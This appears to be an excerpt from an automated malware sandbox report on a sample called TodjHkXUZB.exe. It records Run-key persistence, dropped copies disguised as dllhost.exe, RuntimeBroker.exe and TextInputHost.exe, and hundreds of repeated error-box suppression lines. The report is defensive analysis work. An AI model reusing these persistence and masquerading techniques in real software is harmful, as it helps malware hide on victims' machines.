        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzMJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzMJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzMJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzMJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
